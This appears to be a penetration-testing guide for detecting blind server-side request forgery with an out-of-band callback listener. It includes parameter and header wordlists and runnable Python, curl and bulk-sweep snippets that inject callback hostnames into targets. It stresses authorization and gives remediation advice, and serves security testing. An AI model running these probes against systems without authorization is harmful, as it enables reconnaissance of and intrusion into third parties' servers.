ssrf-oob

Contents

• Scope & authorization
• Step 0 - stand up the collaborator / OAST listener
• Injection points (query params, headers, bulk sweep)
• Port -> scheme logic
• Methodology
• Runnable snippets
• Output

Scope & authorization

Only run against hosts you own or are contractually engaged to test. This check is active and aggressive: it sends live HTTP requests that try to coerce the target into making outbound DNS/HTTP requests to infrastructure you control. Do not point it at third parties.

The whole method is out-of-band: the target's HTTP response usually will not tell you whether SSRF fired. The signal is the interaction (a DNS resolution and/or an HTTP hit) arriving at your callback host. So the OAST listener is the instrument - stand it up first and keep watching it throughout.

Step 0 - stand up the collaborator / OAST listener

You need a host that logs inbound DNS and HTTP and that you can attribute hits back to. Any of these works; they are interchangeable for this method:

• Interactsh (interactsh-client) - self-hostable, gives you a unique callback domain and a live feed of DNS/HTTP/SMTP hits.
• Burp Collaborator - "Copy to clipboard" a payload domain; poll for interactions.
• Your own authoritative DNS + web log - a domain whose NS you control; tail the query log and a listener on 80/443.

Call this callback host OAST_HOST below. The core trick: encode who fired the callback into the hostname itself by prefixing a unique label, e.g. dest.OAST_HOST, xforwardedfor.OAST_HOST, or t3-url.OAST_HOST. Because every injection point uses a distinct subdomain label, a single lookup in your OAST feed tells you exactly which param/header on which target reached out - even though the HTTP response was silent.

Injection points

A server-side fetch can be triggered from three places an app commonly trusts. Test all three.

A. Query params - parameters whose value the app treats as a URL/host/path to fetch, follow, or render. Wordlist (24, carry verbatim):

dest, redirect, uri, path, continue, url, window, next, data,
reference, site, html, val, validate, callback, return, page,
feed, host, port, to, out, view, dir

B. Request headers - forwarding/client-IP headers that reverse proxies and app frameworks sometimes resolve or fetch. Header list (dedup of the source set):

X-Forwarded-Host, X-Forwarded-Server, X-Forwarded-For,
X-Real-IP, Client-IP, HTTP-X-Forwarderd-For, HTTP-X-Forwarderd-Host

The last two carry the source's real (misspelled) Forwarderd variants on purpose - some frameworks pass through non-canonical header names, so keep them exactly as written.

C. Bulk sweep - the same param payload fired at every in-scope host:port at once, to surface any endpoint that fetches a URL param without you having mapped its routes first.

Port -> scheme logic

Inputs are host:port pairs. Map to a base URL the same way the source does, and skip anything else:

• :80 -> http://host
• :443 -> https://host
• any other port -> no probe (extend the map explicitly if you know a service's scheme).

Use a browser-like User-Agent (Mozilla/5.0 (Windows NT 10.0; Win64; x64) ... Chrome/102 Safari/537.36) so trivial UA filtering does not drop the probe, and disable TLS verification for https targets (self-signed origins are common and should still be tested).

Methodology (run in order)

1. Arm the listener. Bring up OAST_HOST (Step 0) and confirm you see your own test lookup (dig test.OAST_HOST) land in the feed before probing anything.
2. Query-param injection. For each in-scope target, build one request that sets every param in the wordlist to a uniquely-labelled callback host, and send it. One request per target covers all 24 params.
3. Header injection. For each target, send a request whose value for each forwarding header is a per-header-labelled callback host ({header-without-dashes, lowercased}.OAST_HOST). One request per target covers all headers; the label tells you which header the server resolved.
4. Bulk sweep. Replay Step 2's param payload across the full host:port list so any unmapped endpoint that fetches a URL param reveals itself.
5. Watch the feed. Poll/tail the OAST listener during and for a few minutes after the run - blind fetches, queue workers, and link "unfurlers" can fire seconds to minutes late. Match each inbound subdomain label back to its param/header/target.
6. Classify the hit. A DNS-only lookup proves the server (or a downstream resolver it uses) processed your host as a name - SSRF-capable, worth escalating. A full HTTP hit proves the server actually connected out - unambiguous SSRF; note whether it arrived on 80 or 443 and any User-Agent/source IP it presented.

Report a finding when: any DNS or HTTP interaction reaches OAST_HOST that is attributable to a value you injected. The unique subdomain label identifies the exact injection point (param name or header) and target that caused the server to make an outbound request - that is a confirmed out-of-band SSRF (DNS-only = strong signal / likely blind SSRF; HTTP hit = confirmed full-request SSRF).

Runnable snippets

# 0  arm OAST and sanity-check it (Interactsh shown; substitute Collaborator / own DNS)
interactsh-client -v            # note the printed callback domain -> OAST_HOST
dig +short test.OAST_HOST       # should appear in the interactsh feed

# 2  query-param injection across all 24 params, unique label per param, one target
python3 - <<'PY'
import urllib.parse, urllib.request, ssl
OAST="OAST_HOST"; TARGET="https://host"          # from :443 (use http:// for :80)
UA="Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/102.0.0.0 Safari/537.36"
params=["dest","redirect","uri","path","continue","url","window","next","data","reference",
        "site","html","val","validate","callback","return","page","feed","host","port","to","out","view","dir"]
qs=urllib.parse.urlencode({p:f"{p}.{OAST}" for p in params})   # label = the param name
req=urllib.request.Request(f"{TARGET}?{qs}",headers={"User-Agent":UA})
try: urllib.request.urlopen(req,timeout=10,context=ssl._create_unverified_context())
except Exception: pass
PY

# 3  header injection, unique label per header, one target
python3 - <<'PY'
import urllib.request, ssl
OAST="OAST_HOST"; TARGET="https://host"
UA="Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/102.0.0.0 Safari/537.36"
hdrs=["X-Forwarded-Host","X-Forwarded-Server","X-Forwarded-For","X-Real-IP","Client-IP",
      "HTTP-X-Forwarderd-For","HTTP-X-Forwarderd-Host"]
h={x:f"{x.replace('-','').lower()}.{OAST}" for x in hdrs}      # label = flattened header name
h["User-Agent"]=UA
req=urllib.request.Request(TARGET,headers=h)
try: urllib.request.urlopen(req,timeout=10,context=ssl._create_unverified_context())
except Exception: pass
PY

# 2/4 pure-curl one-target param probe (bulk = loop this over the host:port list)
curl -sk -o /dev/null -A "Mozilla/5.0 ... Chrome/102 Safari/537.36" \
  "https://host/?dest=dest.OAST_HOST&redirect=redirect.OAST_HOST&url=url.OAST_HOST&uri=uri.OAST_HOST&path=path.OAST_HOST&continue=continue.OAST_HOST&next=next.OAST_HOST&callback=callback.OAST_HOST&feed=feed.OAST_HOST&host=host.OAST_HOST&out=out.OAST_HOST&view=view.OAST_HOST&dir=dir.OAST_HOST&reference=reference.OAST_HOST&site=site.OAST_HOST&return=return.OAST_HOST&page=page.OAST_HOST&window=window.OAST_HOST&data=data.OAST_HOST&val=val.OAST_HOST&validate=validate.OAST_HOST&to=to.OAST_HOST&port=port.OAST_HOST&html=html.OAST_HOST"

# 3  pure-curl one-target header probe
curl -sk -o /dev/null -A "Mozilla/5.0 ... Chrome/102 Safari/537.36" \
  -H "X-Forwarded-Host: xforwardedhost.OAST_HOST" -H "X-Forwarded-Server: xforwardedserver.OAST_HOST" \
  -H "X-Forwarded-For: xforwardedfor.OAST_HOST"   -H "X-Real-IP: xrealip.OAST_HOST" \
  -H "Client-IP: clientip.OAST_HOST"              -H "HTTP-X-Forwarderd-For: httpxforwarderdfor.OAST_HOST" \
  -H "HTTP-X-Forwarderd-Host: httpxforwarderdhost.OAST_HOST" \
  "https://host/"

# 4  bulk sweep over a host:port list (targets.txt = one host:port per line)
while IFS=: read -r host port; do
  case "$port" in 80) base="http://$host";; 443) base="https://$host";; *) continue;; esac
  curl -sk -o /dev/null -A "Mozilla/5.0 ... Chrome/102 Safari/537.36" \
    "$base/?url=${host//./-}-url.OAST_HOST&redirect=${host//./-}-redirect.OAST_HOST&dest=${host//./-}-dest.OAST_HOST"
done < targets.txt

Output

Finish with a per-injection-point ledger, then a one-line verdict:

• Clean - every injection point probed, listener watched well past the request window, no attributable interaction. Note it as not proven vulnerable rather than proven safe: OOB depends on egress being allowed, so an egress-filtered target can be silently vulnerable to in-band SSRF - flag that as an unrun angle.
• Vulnerable - one or more attributable callbacks. Name the injection point (param/header), the target, and DNS-only vs full-HTTP, and recommend the fix: validate/allowlist outbound destinations, resolve-and-pin to allowed IP ranges (block RFC1918/link-local/metadata), do not resolve or fetch client-controlled forwarding headers, and disable HTTP redirect-following on server-side fetchers.

Report each injection point's true status - probed or not-run - so coverage is honest; a silent listener is only meaningful if the requests actually went out.